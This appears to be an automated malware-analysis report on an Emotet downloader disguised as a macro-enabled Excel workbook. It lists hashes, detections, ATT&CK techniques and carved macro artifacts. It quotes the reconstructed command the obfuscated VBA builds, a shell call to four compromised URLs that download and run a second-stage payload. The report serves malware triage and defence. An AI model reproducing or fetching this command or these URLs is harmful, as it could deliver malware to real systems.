Emotet Office (OOXML) / .XLSX malware analysis — malicious · 8d3e12719508106a

MALICIOUS

Office (OOXML) / .XLSX

115.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: 611a222060920bd013b24bb2c1d4d0dc SHA-1: da095faf4b9910672138cdc020a4a1447d0dab2c SHA-256: 8d3e12719508106afa27d498367648b62898580224b3d2a6b22bf080310f3f89

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The sample is identified as malicious by ClamAV with a signature indicating it's an Emotet downloader. The VBA code contains obfuscated strings and calls to Wscript.Shell to execute batch and VBScript files. Specifically, it reconstructs the command: 'hell -e:http://sumedhaonline.com/wp-content/HyzNXJ30XQEVcBS RH/ ,http://divachintexiles.com/wp-inc ludes/WBhWRKS8KvNzNm6/ ,http://hotelanalaboa.com/1520/bUdhEPdf/ ,http://shwenantawin.com/copma/XTnZii02vfgV'. This indicates the script's intent is to download and execute a second-stage payload from the provided URLs.

Heuristics 5

ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12041 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `46730b9f1f943ea6f5f6b22c181a4a8d1200061b22ffb16a05c48919266161a9`	vba-project	OOXML VBA project: xl/vbaProject.bin	42496 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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